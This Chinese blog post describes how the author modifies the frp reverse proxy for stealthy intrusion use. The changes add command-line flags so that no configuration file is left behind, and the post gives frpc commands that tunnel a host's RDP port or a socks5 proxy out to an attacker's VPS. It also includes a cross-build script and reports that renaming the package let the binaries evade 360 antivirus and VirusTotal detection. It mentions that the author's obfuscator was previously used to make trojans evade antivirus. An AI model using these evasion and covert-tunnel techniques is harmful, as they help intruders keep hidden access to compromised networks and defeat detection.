0x00 前言
frp源连接https://github.com/fatedier/frp
frp在反向代理工具里,我觉得是比较稳定的一款,但他的缺点,一个是现成的frp工具已被加入全家桶,另一个是使用是需要调用配置文件,这个会留下痕迹,所以就考虑深入看看frp源码,做成参数化的命令行版本。
0x01 frp改造
frpc的入口文件为cmd/frpc/main.go,go build cmd/frpc/main.go即可
frps的入口文件为cmd/frps,因为这包下有多个文件,使用go build cmd/frps
frp实际上server和client都支持命令行执行
frps没有子命令,通过frps help查看
frpc存在子命令,支持的子命令如下
比如我们常用的socks和tcp代理均通过tcp模块实现的,可以查看tcp模块的参数 frpc help tcp
所以一个简单的tcp反向代理配置如下
1 2 3 4 5 | # vps ./frps -p 7000 # client frpc.exe tcp -l 3389 -r 3390 -s vps_ip:7000 --uc --ue -n user1 |
但上述参数不支持plugin,因为socks5算是frp里的一个插件模块,并且tls_enable也不支持,所以就需要改造下输入参数。
命令行参数构造是通过cobra库来生成的,这里不具体介绍库的使用,我们直接找到tcp子命令的参数构造位置。
cmd/frpc/sub/tcp.go
会有一个初始化函数解析输入命令,红框是新增的,参数值是保存在全局变量里的,如plugins,可以在cmd/frpc/sub/root.go文件统一生成
1 2 3 4 5 6 | // cmd/frpc/sub/tcp.go init() 新增参数解析 tcpCmd.PersistentFlags().StringVarP(&plugins, "pg", "", "", "plugins") tcpCmd.PersistentFlags().StringVarP(&pluginUser, "pgu", "", "", "plugin user") tcpCmd.PersistentFlags().StringVarP(&pluginPasswd, "pgp", "", "", "pulgin passwd") tcpCmd.PersistentFlags().BoolVarP(&tlsEnable, "tls_enable", "", false, "tls enable") |
解析到的参数值保存在全局变量,还需要传入参数配置的结构体里
cmd/frpc/sub/tcp.go新增如下
tls_enable也需要设置,但和上面不一样,上面截图里的cfg其实是tcp代理专门的结构体TcpProxyConf,而tls_enable参数是在主命令的结构体里,即ClientCommonConf,所以我们需要找到该结构体的初始化和赋值位置。
在tcp参数解析之前是有通用配置解析的,调用的是parseClientCommonCfg函数
跟进去看可找到最终初始化赋值位置
位于cmd/frpc/sub/root.go的parseClientCommonCfgFromCmd里,添加如下,其实也不是必须添加在这里,在tcp.go里初始化后也可以直接赋值给cleintCfg变量,但那样就只有tcp可用,在下面的位置可以适用于其他协议。
最后测试socks5的代理配置
1 2 3 4 5 | # vps ./frps -p 7000 # client frpc.exe tcp --pg socks5 -r 5555 --pgu admin --pgp pass -s vps_ip:7000 --uc --ue -n user1 --tls_enable |
在未加tls_enable前,会明文提交客户端参数配置,即使你加了use_encryption
加了tls_enable后可以看到数据完全加密传输了。
所以也不需要use encryption了,去掉ue参数
1 2 3 4 5 | # vps ./frps -p 7000 # client frpc.exe tcp --pg socks5 -r 5555 --pgu admin --pgp pass -s vps_ip:7000 --uc -n user1 --tls_enable |
PS:这边都配置了-n是用于区分不同client,否则一个server,无法运行多个client,需要设置不同的proxy name才能区分。
最终就是打包了,项目自带一个sh脚本就可以,因为我环境是windows,我写了个python的临时用一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | #coding:utf-8 import os,sys import shutil import subprocess frp_version = "0.33.0" os_all = ["linux", "windows", "darwin", "freebsd"] arch_all = ["386", "amd64", "arm", "arm64", "mips64", "mips64le", "mips", "mipsle"] CGO_ENABLED = 0 LDFLAGS = "-s -w" os.system("set GO111MODULE=on && set CGO_ENABLED=%d" % CGO_ENABLED) app_all = ["frpc", "frps"] cmd = 'set GOOS=%s&& set GOARCH=%s&& go build -ldflags "%s" -o ./release/%s_%s_%s ./cmd/%s' try: os.mkdir("release") except: pass for _os in os_all: for arch in arch_all: if _os in ["windows", "freebsd"] and arch not in ["386", "amd64"]: continue if _os == "darwin" and arch != "amd64": continue frp_dir_name = "frp_%s_%s_%s" % (frp_version, _os, arch) frp_path = "./packages/frp_{}_{}_{}".format(frp_version, _os, arch) try: os.makedirs(frp_path) except: pass if _os == "windows": suffix = ".exe" else: suffix = "" for app in app_all: build_cmd = cmd % (_os, arch, LDFLAGS, app, _os, arch + suffix, app) print(build_cmd) status, result = subprocess.getstatusoutput(build_cmd) if status != 0: print(result) sys.exit(0) srcfile = "./release/%s_%s_%s" % (app, _os, arch + suffix) dstfile = "%s/%s" % (frp_path, app +suffix) shutil.move(srcfile,dstfile) if _os == "windows": status, result = subprocess.getstatusoutput('cd ./packages/ && ..\\zip -rq %s.zip %s' % (frp_dir_name,frp_dir_name)) # shutil.copytree else: status, result = subprocess.getstatusoutput('cd ./packages/ && ..\\tar -zcf %s.tar.gz %s' % (frp_dir_name,frp_dir_name)) print("[+] package %s success." % frp_dir_name) if status != 0: print(result) sys.exit(0) shutil.rmtree("./packages/" + frp_dir_name) # sys.exit(0) shutil.rmtree("./release/") print("[+] package all success.") |
并且测试编译打包后,就可过360杀软了,因为我替换了项目包名,原始的项目包名为github.com/fatedier/frp, 估计是检测包名查杀的,后面我在测测代码混淆是否可行。
配置文件不落地搞定了,那么就是免杀问题了,原本以为需要做下代码混淆的,但我重新编译后上传vt不杀了。
最后的最后把整理好的命令在记一下,参数解释help查看
1 2 3 4 5 6 | # server frps -p 7000 -t test.com # tcp代理 frpc tcp -n user1 -t test.com --uc --tls_enable -l local_port -r remote_port -s vps_ip:7000 #socks5代理 frpc tcp -n user1 -t test.com --uc --tls_enable --pg socks5 --pgu admin --pgp admin -r remote_port -s vps_ip:7000 |
0x02 后记-代码混淆
代码混淆工具是之前写的,根据golang的AST可实现符号、字符串、函数名混淆。但在对frp包混淆的时候出现不少bug,所以也同步优化了一下,这也是头回对较多的代码用工具混淆,之前只是用于木马免杀混淆,也是对AST进一步熟悉了吧。
frp开发者包管理有猫饼,文件夹名和包名不一样,在和golang的包管理特点有关,正常来说包名和文件名应该一样的,所以做代码混淆出问题,将models/plugin下的client和server目录改名为client_plugin、server_plugin,然后包名也从plugin改为如上的名称,其他调用地方都设置了别名,如plugin "frp/models/plugin/server",只要改后面包路径,不影响实际函数里的调用,统一为plugin
目前测试字符串和函数名混淆无问题,符号混淆需要再测测。
参考
https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92.html